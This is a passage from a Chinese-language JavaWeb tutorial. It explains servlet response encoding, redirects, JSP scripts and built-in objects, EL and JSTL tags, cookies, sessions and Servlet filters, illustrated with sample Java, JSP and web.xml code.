对象传递给Servlet
程序去使用。HttpServletRequest
表示请求过来的信息,HttpServletResponse
表示所有相应的信息,我们如果需要设置返回给客户端的信息,都可以通过HttpServletRespose
对象来进行设置。
9.11. 解决乱码-两个输出流的说明
字节流 getOutputStream
字符流 getWriter
两个流同时只能使用一个,使用了字节流,就不能在再使用字符流,反之亦然,否则就会报错。
getWriter
返回的流以及getOutputStream
返回的流目前都无法正确的输出汉字,response.setContentType("text/html; charset=UTF-8");
,它会同时设置服务器和客户端都使用UTF-8
字符集,还设置了响应头, 此方法一定要在获取流对象之前调用才有效。
package com.example.demo;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.*;
import java.nio.charset.StandardCharsets;
@WebServlet(name = "Servlet1", value = "/Servlet1")
public class Servlet1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*
* getWriter返回的流以及getOutputStream返回的流目前都无法正确的输出汉字
* response.setContentType("text/html; charset=UTF-8");
* 它会同时设置服务器和客户端都使用UTF-8字符集,还设置了响应头
* 此方法一定要在获取流对象之前调用才有效
* */
// getWriter返回一个字符级别的Stream类型的对象
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
writer.write("writer: 你好,今天是星期一");
// 而getOutputStream返回一个字节级别的Stream类型的对象
response.setContentType("text/html; charset=UTF-8");
ServletOutputStream outputStream = response.getOutputStream();
outputStream.write("outputStream: 你好,今天是星期一".getBytes(StandardCharsets.UTF_8));
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
9.12. 请求重定向
package com.example.demo;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.*;
import java.nio.charset.StandardCharsets;
@WebServlet(name = "Servlet1", value = "/Servlet1")
public class Servlet1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String method_diy = request.getParameter("method");
if (method_diy.equals("first_method")) {
response.setStatus(302);
response.setHeader("Location", "http://www.baidu.com");
} else {
// response.sendRedirect("/Servlet2");
// 使用response时,需要手动添加工程路径,否则会出现404找不到资源
response.sendRedirect("/demo/Servlet2");
}
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
package com.example.demo;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
@WebServlet(name = "Servlet2", value = "/Servlet2")
public class Servlet2 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String username = request.getParameter("username");
System.out.println("now in Servlet2.java doGet function, and the username is " + username);
Object secret_key = request.getAttribute("secret_key");
System.out.println("now the secret_key from Servlet1.java is " + secret_key);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
- 参数匹配,跳转到百度
- 参数不匹配,跳转到
Servlet2
页面
10. Java_jsp
10.1. 什么是jsp
jsp
的全换是java server pages
,Java
的服务器页面。
10.2. jsp
的主要作用
jsp
的主要作用是代替Servlet
程序回传html
页面的数据。因为Servlet
程序回传html
页面数据是一件非常繁锁的事情。开发成本和维护成本都极高。
Servlet
回传html
页面数据的代码:
package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/PrintHtml")
public class PrintHtml extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 通过响应的回传流回传html 页面数据
resp.setContentType("text/html; charset=UTF-8");
PrintWriter writer = resp.getWriter();
writer.write("<!DOCTYPE html>\r\n");
writer.write(" <html lang=\"en\">\r\n");
writer.write(" <head>\r\n");
writer.write(" <meta charset=\"UTF-8\">\r\n");
writer.write(" <title>Title</title>\r\n");
writer.write(" </head>\r\n");
writer.write(" <body>\r\n");
writer.write(" 这是 html 页面数据 \r\n");
writer.write(" </body>\r\n");
writer.write("</html>\r\n");
writer.write("\r\n");
}
}
<%--
Created by IntelliJ IDEA.
User: HW
Date: 2023-09-04
Time: 10:58
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
这是 html 页面数据
</body>
</html>
10.3. jsp
如何访问
10.4. jsp
的三种语法
10.4.1. jsp
常见属性
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
等同于java
中的reponse.setContentType("text/html; chatset=UTF-8")
<h1><%= "Hello World!" %>
等同于java
中的response.getWriter().write("Hello World!")
10.4.1.1. jsp:include
动态文件包含
<%@include file="xxx.jsp"%>
<jsp:include page="xxx.jsp" flush="true"/>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@include file="xxx.jsp"%>
<jsp:include page="xxx.jsp" flush="true"/>
<html>
<head>
<title>Title</title>
</head>
<body>
这是 html 页面数据111111111
<%="helloworld"%>
</body>
</html>
10.4.1.2. isErrorPage
异常跳转
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%--另起一行写errorPage--%>
<%--在index.jsp中通过设置errorPage的值为error_page.jsp--%>
<%--当出现错误时,会自动调用error_page.jsp中的内容--%>
<%@ page errorPage="error_page.jsp" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="HelloServlet">Hello Servlet</a>
<% int i = 1 / 0;%>
</body>
</html>
<%@ page isErrorPage="true" %>
<%--在error_page.jsp中指定当前页面是一个error页面--%>
<%--此时服务器会将该页面当作处理错误的页面--%>
<html>
<head>
<title>Title</title>
</head>
<body>
<h1>Opps...</h1>
<p>Sorry, an error occurred.</p>
<p>Here is the exception stack trace: </p>
</body>
</html>
10.5. jsp
中的常用脚本
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%--另起一行写errorPage--%>
<%--在index.jsp中通过设置errorPage的值为error_page.jsp--%>
<%--当出现错误时,会自动调用error_page.jsp中的内容--%>
<%@ page errorPage="error_page.jsp" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="HelloServlet">Hello Servlet</a>
<%
// jsp页面支持断电调试,jsp本质上和servlet一致
String method = request.getParameter("method");
if (method.equals("haha")) {
System.out.println("haha called");
} else {
System.out.println("no-haha called");
}
%>
</body>
</html>
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="com.example.demo.Person" %>
<%--另起一行写errorPage--%>
<%--在index.jsp中通过设置errorPage的值为error_page.jsp--%>
<%--当出现错误时,会自动调用error_page.jsp中的内容--%>
<%@ page errorPage="error_page.jsp" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<table>
<%
Person person = new Person("helloworld");
%>
<%=10%>
<%="helloworld"%>
<%=1.0f%>
<%=10.1%>
<%=person%>
</table>
</body>
</html>
package com.example.demo;
public class Person {
private String name = "person1";
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
'}';
}
public Person(String name) {
System.out.println("hahaha");
this.name = name;
}
public Person() {
}
}
10.5.1. 代码脚本,for循环语句
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%--另起一行写errorPage--%>
<%--在index.jsp中通过设置errorPage的值为error_page.jsp--%>
<%--当出现错误时,会自动调用error_page.jsp中的内容--%>
<%@ page errorPage="error_page.jsp" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<a href="HelloServlet">Hello Servlet</a>
<%
for (int i = 0; i < 10; i++) {
%>
<tr>
<td>第<%=i + 1%>
</td>
</tr>
<%
}
%>
</body>
</html>
10.6. jsp
中的三种注释
10.7. jsp
内置对象
10.7.1. 四个主要域对象
<%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="UTF-8" %>
<!DOCTYPE html >
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Title</title>
</head>
<body>
这是context1页面<br>
<%="pageContext value: " + pageContext.getAttribute("key")%><br/>
<%="request value: " + request.getAttribute("key")%><br/>
<%="session value: " + session.getAttribute("key")%><br/>
<%="application value: " + application.getAttribute("key")%><br/>
<%
// 设置域数据
pageContext.setAttribute("key", "pageContext-value");
// 设置request域数据
request.setAttribute("key", "request-value");
// 设置session域数据
session.setAttribute("key", "session-value");
// 设置application域数据
application.setAttribute("key", "application-value");
%>
<%--测试当前页面作用域--%>
<%="pageContext value: " + pageContext.getAttribute("key")%><br/>
<%="request value: " + request.getAttribute("key")%><br/>
<%="session value: " + session.getAttribute("key")%><br/>
<%="application value: " + application.getAttribute("key")%><br/>
<%
// 测试request作用域
// request.getRequestDispatcher("/context2.jsp").forward(request,response);
%>
</body>
</html>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
这是context1页面<br>
<%--测试当前页面作用域--%>
<%="pageContext value: " + pageContext.getAttribute("key")%><br/>
<%="request value: " + request.getAttribute("key")%><br/>
<%="session value: " + session.getAttribute("key")%><br/>
<%="application value: " + application.getAttribute("key")%><br/>
</body>
</html>
10.7.2. out.write()
输出方法
response
中表示响应,我们经常用于设置返回给客户端的内容(输出),out
也是给用户做输出使用的
<%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="UTF-8" %>
<!DOCTYPE html >
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Title</title>
</head>
<body>
<%--
为什么通过response.getWriter().write输出的内容优先级最高
因为response.getWriter().write返回来的是stream流
1.先执行response.getWriter().write
2.再执行表单中的内容
3.最后执行out.write()
--%>
这是context1页面<br>
<%
out.write("output helloworld");
response.getWriter().write("writer helloworld");
%>
</body>
</html>
10.8. jsp
的常用标签
10.8.1. jsp
静态包含
<%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="UTF-8" %>
<%--静态包含--%>
<%@ include file="common.jsp" %>
<%--动态包含--%>
<jsp:include page="common2.jsp"/>
<!DOCTYPE html >
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Title</title>
</head>
<body>
这是context1页面<br>
<%
out.write("output helloworld");
response.getWriter().write("writer helloworld");
%>
</body>
</html>
10.8.2. jsp
动态包含
<%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="UTF-8" %>
<%--静态包含--%>
<%@ include file="common.jsp" %>
<%--动态包含--%>
<jsp:include page="common2.jsp"/>
<!DOCTYPE html >
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Title</title>
</head>
<body>
这是context1页面<br>
<%
out.write("output helloworld");
response.getWriter().write("writer helloworld");
%>
</body>
</html>
10.8.3. jsp
标签-转发
<%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="UTF-8" %>
<jsp:forward page="error_page.jsp"></jsp:forward>
<!DOCTYPE html >
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Title</title>
</head>
<body>
</body>
</html>
<html>
<head>
<title>Title</title>
</head>
<body>
<h1>Opps...</h1>
<p>Sorry, an error occurred.</p>
<p>Here is the exception stack trace: </p>
</body>
</html>
10.9. ServletContextListener
监听器-三大组件之三
JavaWeb
三大组件分别是:Servlet
程序,Filter
过滤器,Listener
监听器
- 创建一个监听器,重写
contextInitialized
以及contextDestroyed
方法
- 在
web.xml
中注册对应的监听器
- 创建
- 销毁
11. EL
表达式与JSTL
标签库
11.1. EL
表达式
11.1.1. 什么是EL
表达式,EL
表达式有什么作用
<body>
<%
request.setAttribute("key", "值");
%>
表达式脚本输出 key 的值是:
<%=
request.getAttribute("key")
%><br/>
EL 表达式输出 key 的值是: ${key}
</body>
</html>
11.1.2. EL
表达式搜索域数据的顺序
EL
表达式主要是在jsp
页面中输出数据,主要是输出域对象中的数据。当四个域中都有相同的key
的数据的时候,EL
表达式会按照四个域的从小到大的顺序去进行搜索,成功找到后输出。
<body>
<%
// pageContext.setAttribute("key", "pageContext");
request.setAttribute("key", "request");
session.setAttribute("key", "session");
application.setAttribute("key", "application");
%>
表达式脚本输出 key 的值是:
<%=
request.getAttribute("key")
%><br/>
EL 表达式输出 key 的值是: ${key}
<br/>
</body>
</html>
11.1.3. EL
表达式输出属性
<body>
<%
List<String> cities = new ArrayList<>();
cities.add("tianjin");
cities.add("beijing");
cities.add("nanjing");
Map<String, Object> map_temp = new HashMap<>();
map_temp.put("name", "hehe");
map_temp.put("age", 19);
map_temp.put("ps", "haha");
Person person = new Person("person1", new String[]{"111", "222", "333"}, cities, map_temp);
application.setAttribute("person", person);
%>
<br/>
EL 表达式输出 key 的值是: ${person}<br/>
EL 表达式输出 key 的值是: ${person.getName()}<br/>
<%--getPhoneNums与getCities都是String类型的数组, 此时可以通过下标获得对应的值--%>
EL 表达式输出 key 的值是: ${person.getPhoneNums()[0]}<br/>
EL 表达式输出 key 的值是: ${person.getCities()[1]}<br/>
<br/>
</body>
</html>
package com.example.demo;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
public class Person {
private String name;
private String[] phoneNums;
private List<String> cities;
private Map<String, Object> map;
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", phones=" + Arrays.toString(phoneNums) +
", cities=" + cities +
", map=" + map +
'}';
}
public Person(String name, String[] phones, List<String> cities, Map<String, Object> map) {
this.name = name;
this.phoneNums = phones;
this.cities = cities;
this.map = map;
}
public Person() {
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String[] getPhoneNums() {
return phoneNums;
}
public void setPhoneNums(String[] phonesNums) {
this.phoneNums = phonesNums;
}
public List<String> getCities() {
return cities;
}
public void setCities(List<String> cities) {
this.cities = cities;
}
public Map<String, Object> getMap() {
return map;
}
public void setMap(Map<String, Object> map) {
this.map = map;
}
}
11.1.4. EL
表达式-运算
语法:${
运算表达式}
,EL
表达式支持如下运算符:
11.1.5. empty
运算
<body>
<h1 align="center">empty判断</h1>
<table align="center">
<%
Object[] objects = new Object[]{};
request.setAttribute("obj", objects);
ArrayList<Object> objects1 = new ArrayList<>();
request.setAttribute(("list"), objects1);
HashMap<String, String> stringStringHashMap = new HashMap<>();
request.setAttribute("map", stringStringHashMap);
%>
<tr>
<td>${empty(null)}
<td/>
<td>${empty("")}
<td/>
<td>${empty(" ")}
<td/>
<td>${empty(obj)}
<td/>
<td> ${empty(list)}
<td/>
<td> ${empty(map)}
<td/>
</tr>
<tr>
<td>${empty(null)}
<td/>
<td>${empty("")}
<td/>
<td>${empty(" ")}
<td/>
<td>${empty(obj)}
<td/>
<td> ${empty(list)}
<td/>
<td> ${empty(map)}
<td/>
</tr>
</table>
</body>
</html>
11.1.6. 三元运算
${1==1?"哈哈哈":"呵呵呵"}
11.1.7. pageContext
对象的使用
<body>
<h1 align="center">pageContext对象</h1>
<table align="center">
<%--
request.getScheme() 它可以获取请求的协议
request.getServerName() 获取请求的服务器 ip 或域名
request.getServerPort() 获取请求的服务器端口号
getContextPath() 获取当前工程路径
request.getMethod() 获取请求的方式(GET 或 POST)
request.getRemoteHost() 获取客户端的 ip 地址
session.getId() 获取会话的唯一标识
--%>
<%="请求的协议: " + request.getScheme()%><br>
<%="请求的服务器 ip 或域名: " + request.getServerName()%><br>
<%="请求的服务器端口号: " + request.getServerPort()%><br>
<%="当前工程路径: " + request.getContextPath()%><br>
<%="请求的方式: " + request.getMethod()%><br>
<%="客户端的 ip 地址: " + request.getRemoteHost()%><br>
<%="会话唯一标识: " + session.getId()%><br>
<%
pageContext.setAttribute("req", request);
%>
<br/>
1.协议: ${ req.scheme }<br>
2.服务器 ip:${ pageContext.request.serverName }<br>
3.服务器端口:${ pageContext.request.serverPort }<br>
4.获取工程路径:${ pageContext.request.contextPath }<br>
5.获取请求方法:${ pageContext.request.method }<br>
6.获取客户端 ip 地址:${ pageContext.request.remoteHost }<br>
7.获取会话的 id 编号:${ pageContext.session.id }<br>
</table>
</body>
</html>
11.1.8. header Map
<body>
<h1 align="center">header Map</h1>
<table align="center">
输出请求头【User-Agent】的值: ${ header['User-Agent'] }<br><br>
输出请求头【Connection】的值: ${ header.Connection }<br><br>
输出请求头【User-Agent】的值: ${ headerValues['User-Agent'][0]}<br><br>
获取 Cookie 的名称: ${ cookie.JSESSIONID.name }<br><br>
获取 Cookie 的值: ${ cookie.JSESSIONID.value }<br><br>
</table>
</body>
11.2. JSTL
标签库
JSTL
标签库全称是指JSP Standard Tag Library JSP
标准标签库。是一个不断完善的开放源代码的JSP
标签库。EL
表达式主要是为了替换jsp
中的表达式脚本,而标签库则是为了替换代码脚本。这样使得整个jsp
页面变得更加简洁。
在jsp
标签库中使用taglib
指令引入标签库
11.2.1. 标签库的引用
- 先导入
jstl
标签库的jar
包
taglibs-standard-impl-1.2.1.jar、taglibs-standard-spec-1.2.1.jar
- 第二步,使用
taglib
指令引入标签库
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
11.2.2. <c:if> </c:if>
标签用来做if
判断
if
标签用来做 if
判断。
test
属性表示判断的条件(使用 EL
表达式输出)
<body>
<h1 align="center">标签库的引用</h1>
<table align="center">
<%--
ii.<c:if />
if 标签用来做 if 判断。
test 属性表示判断的条件(使用 EL 表达式输出)
--%>
<c:if test="${ 12 == 12 }">
<h1>12 等于 12</h1>
</c:if>
<c:if test="${ 12 != 12 }">
<h1>12 不等于 12</h1>
</c:if>
</table>
</body>
11.2.3. <c:choose><c:when test=""></c:when></c:choose>
标签
作用:多路判断,跟switch ... case .... default
非常接近
choose
标签开始选择判断
when
标签表示每一种判断情况
test
属性表示当前这种判断情况的值
otherwise
标签表示剩下的情况
此标签使用时需要注意的点:
- 标签里不能使用
html
注释,要使用jsp
注释 when
标签的父标签一定要是choose
标签
<body>
<h1 align="center">标签</h1>
<table align="center">
<c:choose>
<c:when test="${age>100}">
<div>年龄大于100</div>
</c:when>
<c:when test="${age>70}">
<div>年龄大于70但小于等于100</div>
</c:when>
<c:otherwise>
<div>年龄小于等于70</div>
</c:otherwise>
</c:choose>
</table>
</body>
11.2.4. <c:forEach />
作用:遍历输出使用
- 遍历 1 到 10
<c:forEach begin="1" end="10" var="i">
begin
属性设置开始的索引
end
属性设置结束的索引
var
属性表示循环的变量(也是当前正在遍历到的数据)
<body>
<h1 align="center">标签</h1>
<table border="1">
<%--
1.遍历 1 到 10
begin 属性设置开始的索引
end 属性设置结束的索引
var 属性表示循环的变量(也是当前正在遍历到的数据)
--%>
<%-- 虽然实现了循环遍历的功能,但可读性较差--%>
<%-- <%--%>
<%-- for (int i = 1; i <= 10; i++) {--%>
<%-- %>--%>
<%-- <%="<tr>"%>--%>
<%-- <%="<td>第" + i + "行</td>"%>--%>
<%-- <%="<tr>"%>--%>
<%-- <%--%>
<%-- }--%>
<%-- %>--%>
<%-- 从1开始到10结束,把每次获取道德值赋值给变量i--%>
<c:forEach begin="1" end="10" var="i">
<tr>
<td>第${i}行</td>
</tr>
</c:forEach>
</table>
</body>
- 遍历
Object
数组
for (Object item: arr)
items
表示遍历的数据源(遍历的集合)
var
表示当前遍历到的数据
<body>
<h1 align="center">标签</h1>
<table border="1">
<%--
2.遍历 Object 数组
for (Object item: arr)
items 表示遍历的数据源(遍历的集合)
var 表示当前遍历到的数据
--%>
<%
request.setAttribute("arr", new String[]{"3333", "1111", "2222"});
%>
<c:forEach items="${ requestScope.arr }" var="item">
${ item } <br>
</c:forEach>
</table>
</body>
12. Java_cookie饼干
12.1. 什么是Cookie
?
Cookie
翻译过来是饼干的意思Cookie
是服务器通知客户端保存键值对的一种技术- 客户端有了
Cookie
后,每次请求都发送给服务器 - 每个
Cookie
的大小不能超过4kb
12.2. 如何创建Cookie
?
<body>
<h1 align="center">设置cookie</h1>
<table border="1">
<%
Cookie cookie = new Cookie("name", "guapi");
Cookie cookie1 = new Cookie("name", "hahaha");
response.addCookie(cookie);
response.addCookie(cookie1);
%>
</table>
</body>
12.3. 服务器如何获取Cookie
服务器获取客户端的 Cookie
只需要一行代码:req.getCookies():Cookie[]
<body>
<h1 align="center">设置cookie</h1>
<table border="0">
<%
Cookie cookie = new Cookie("name", "guapi");
Cookie cookie1 = new Cookie("name1", "hahaha");
response.addCookie(cookie);
response.addCookie(cookie1);
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
System.out.println(cookies[i].getName() + ": " + cookies[i].getValue());
response.getWriter().write(cookies[i].getName() + ": " + cookies[i].getValue());
}
%>
</table>
</body>
12.4. Cookie
的修改
12.4.1. 方案一:
- 先创建一个要修改的同名(指的就是
key
)的Cookie
对象 - 在构造器,同时赋于新的
Cookie
值。 - 调用
response.addCookie(Cookie);
// 方案一:
// 1、先创建一个要修改的同名的 Cookie 对象
// 2、在构造器,同时赋于新的 Cookie 值
Cookie cookie = new Cookie("key1","newValue1");
// 3、调用 response.addCookie(Cookie); 通知客户端保存修改
resp.addCookie(cookie);
<body>
<h1 align="center">设置cookie</h1>
<table border="0">
<%
// 添加cookie
Cookie cookie = new Cookie("name", "guapi");
Cookie cookie1 = new Cookie("name1", "hahaha");
response.addCookie(cookie);
response.addCookie(cookie1);
// 修改cookie,页面需刷新两次
// 第一次是执行修改,第二次呈现效果
Cookie cookie2 = new Cookie("name", "q2wlsdklfj");
response.addCookie(cookie2);
// 遍历cookie
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
System.out.println(cookies[i].getName() + ": " + cookies[i].getValue());
response.getWriter().write(cookies[i].getName() + ": " + cookies[i].getValue() + "<br>");
}
%>
</table>
</body>
12.4.2. 方案二:
- 先查找到需要修改的
Cookie
对象 - 调用 setValue()方法赋于新的
Cookie
值。 - 调用
response.addCookie()
通知客户端保存修改
// 方案二:
// 1、先查找到需要修改的 Cookie 对象
Cookie cookie = CookieUtils.findCookie("key2", req.getCookies());
if (cookie != null) {
// 2、调用 setValue()方法赋于新的 Cookie 值。
cookie.setValue("newValue2");
// 3、调用 response.addCookie()通知客户端保存修改
resp.addCookie(cookie);
}
<body>
<h1 align="center">设置cookie</h1>
<table border="0">
<%
// 添加cookie
Cookie[] cookies = request.getCookies();
for (Cookie cookie : cookies) {
if (cookie.getName().equals("name")) {
cookie.setValue("nihao");
response.addCookie(cookie);
}
}
%>
</table>
</body>
12.5. Cookie
生命周期控制
Cookie
的生命控制指的是如何管理 Cookie
什么时候被销毁(删除)
setMaxAge()
正数,表示在指定的秒数后过期 负数,表示浏览器一关,Cookie
就会被删除(默认值是-1)零,表示马上删除 Cookie
12.6. Cookie
有效路径Path
的设置
Cookie
的 path
属性可以有效的过滤哪些 Cookie
可以发送给服务器。哪些不发。
path
属性是通过请求的地址来进行有效的过滤。
CookieA path=/工程路径
CookieB path=/工程路径/abc
// 请求地址如下:
// http://ip:port/工程路径/a.html
CookieA 发送
CookieB 不发送
// http://ip:port/工程路径/abc/a.html
CookieA 发送
CookieB 发送
<%@ page import="com.example.demo.Person" %>
<%@ page import="java.util.*" %>
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%--<%@ page errorPage="error.jsp" %>--%>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<%
Cookie cookie = new Cookie("name", "hello");
cookie.setMaxAge(111111);
cookie.setPath(request.getContextPath() + "/ha");
response.addCookie(cookie);
%>
</body>
</html>
通过使用setPath
来设置该cookie
在什么场景下通过浏览器进行携带发送
12.7. Session
会话
12.7.1. 什么是Session
会话?
1、Session
就一个接口(HttpSession)
。
2、Session
就是会话。它是用来维护一个客户端和服务器之间关联的一种技术。
3、每个客户端都有自己的一个 Session
会话。
4、Session
会话中,我们经常用来保存用户登录之后的信息。
12.7.2. 如何创建Session
和获取(id号,是否为新)
如何创建和获取 Session
,它们的 API 是一样的,request.getSession()
第一次调用是:创建 Session
会话,之后调用都是:获取前面创建好的 Session
会话对象。
isNew()
判断到底是不是刚创建出来的(新的)true
表示刚创建,false
表示获取之前创建
每个会话都有一个身份证号,也就是 ID 值,而且这个 ID 是唯一的。getId()
得到 Session
的会话 id
值。
12.8. Session
生命周期控制
public void setMaxInactiveInterval(int interval)
设置 Session
的超时时间(以秒为单位),超过指定的时长,Session
就会被销毁。值为正数的时候,设定 Session
的超时时长。负数表示永不超时(极少使用)
public int getMaxInactiveInterval()
获取 Session
的超时时间;
public void invalidate()
让当前 Session
会话马上超时无效;
Session
默认的超时时间长为 30 分钟;
因为在 Tomcat
服务器的配置文件 web.xml
中默认有以下的配置,它就表示配置了当前 Tomcat
服务器下所有的 Session
超时配置默认时长为:30分钟
<session-config>
<session-timeout>30</session-timeout>
</session-config>
<!--表示当前 web 工程。创建出来 的所有 Session 默认是 20 分钟 超时时长-->
如果说。你希望你的 web 工程,默认的 Session 的超时时长为其他时长。你可以在你自己的 web.xml 配置文件中做
以上相同的配置。就可以修改你的 web 工程所有 Seession 的默认超时时长。
<session-config>
<session-timeout>20</session-timeout>
</session-config>
1.自动携带httponly
2.不会显示对应的session过期时间
12.9. Session
生命周期修改
如果你想只修改个别 Session
的超时时长。就可以使用上面的 API
。setMaxInactiveInterval(int interval)
来进行单独的设置。 session.setMaxInactiveInterval(int interval)
单独设置超时时长。
Session
超时的概念介绍
13. Java_Filter过滤器
13.1. 什么是过滤器
- Filter 过滤器它是 JavaWeb 的三大组件之一(Servlet 程序、Listener 监听器、Filter 过滤器)
- Filter 过滤器它是 JavaEE 的规范。也就是接口
- Filter 过滤器它的作用是:拦截请求,过滤响应
13.2. 拦截请求常见的应用场景有
- 权限检查
- 日记操作
- 事务管理
- ……等等
13.3. Filter
过滤器的使用步骤
- 编写一个类去实现
Filter
接口 - 实现过滤方法
doFilter()
package com.example.demo;
import javax.servlet.*;
import java.io.IOException;
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// Filter.super.init(filterConfig);
}
// @Override
// public void destroy() {
// Filter.super.destroy();
// }
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("now TestFilter doFilter function called");
// 让程序继续往下访问用户的目标资源
filterChain.doFilter(servletRequest, servletResponse);
}
}
- 到
web.xml
中去配置Filter
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!--filter 标签用于配置一个 Filter 过滤器-->
<filter>
<!--给 filter 起一个别名-->
<filter-name>SessionFilter</filter-name>
<!--配置 filter 的全类名-->
<filter-class>com.example.demo.TestFilter</filter-class>
</filter>
<!--filter-mapping 配置 Filter 过滤器的拦截路径-->
<filter-mapping>
<!--filter-name 表示当前的拦截路径给哪个 filter 使用-->
<filter-name>SessionFilter</filter-name>
<!--url-pattern 配置拦截路径
/ 表示请求地址为:http://ip:port/工程路径/ 映射到 IDEA 的 web 目录
/admin/* 表示请求地址为:http://ip:port/工程路径/admin/*
-->
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
- 服务无法启动,经排错发现需要重写
init
方法,没有方法主体也可以,但必须要重写init
(初始化)方法
- 修改匹配的路径,来触发特定的筛选器
13.4. Filter
的生命周期
Filter
的生命周期包含几个方法
- 构造器方法
init
初始化方法- 第1,2步,在
web
工程启动的时候执行(Filter
已经创建) doFilter
过滤方法- 第3步,每次拦截到请求,就会执行
4、destroy
销毁
- 第4步,停止
web
工程的时候,就会执行(停止web
工程,也会销毁Filter
过滤器)
13.5. FilterConfig
类
FilterConfig
类 FilterConfig
类见名知义,它是 Filter
过滤器的配置文件类。 Tomcat
每次创建 Filter
的时候,也会同时创建一个 FilterConfig
类,这里包含了 Filter
配置文件的配置信息。
FilterConfig
类的作用是获取 filter 过滤器的配置内容
- 获取
Filter
的名称filter-name
的内容 - 获取在
Filter
中配置的init-param
初始化参数 - 获取
ServletContext
对象
package com.example.demo;
import javax.servlet.*;
import java.io.IOException;
import java.util.Enumeration;
public class TestFilter implements Filter {
@Override
// init 初始化
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("2.Filter 的 init(FilterConfig filterConfig)初始化");
// 1、获取 Filter 的名称 filter-name 的内容
System.out.println("filter-name 的值是:" + filterConfig.getFilterName());
// 2、获取在 web.xml 中配置的 init-param 初始化参数
System.out.println();
System.out.println("初始化参数 username 的值是:" + filterConfig.getInitParameter("username"));
System.out.println("初始化参数 url 的值是:" + filterConfig.getInitParameter("url"));
System.out.println("====遍历 web.xml 中配置的 init-param 的初始化参数键值对===");
Enumeration<String> initParameterNames = filterConfig.getInitParameterNames();
while (initParameterNames.hasMoreElements()) {
String s = initParameterNames.nextElement();
String initParameter = filterConfig.getInitParameter(s);
System.out.println(s + ": " + initParameter);
}
System.out.println("====遍历 web.xml 中配置的 init-param 的初始化参数键值对===");
System.out.println();
// 3、获取 ServletContext 对象
System.out.println(filterConfig.getServletContext());
}
@Override
// destroy 销毁
public void destroy() {
System.out.println("now TestFilter destroy function called");
}
@Override
// filter 过滤器的预筛选
// 通过在web.xml中配置对应的过滤器来匹配路径,然后就可以执行对应的java代码
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("now TestFilter doFilter function called");
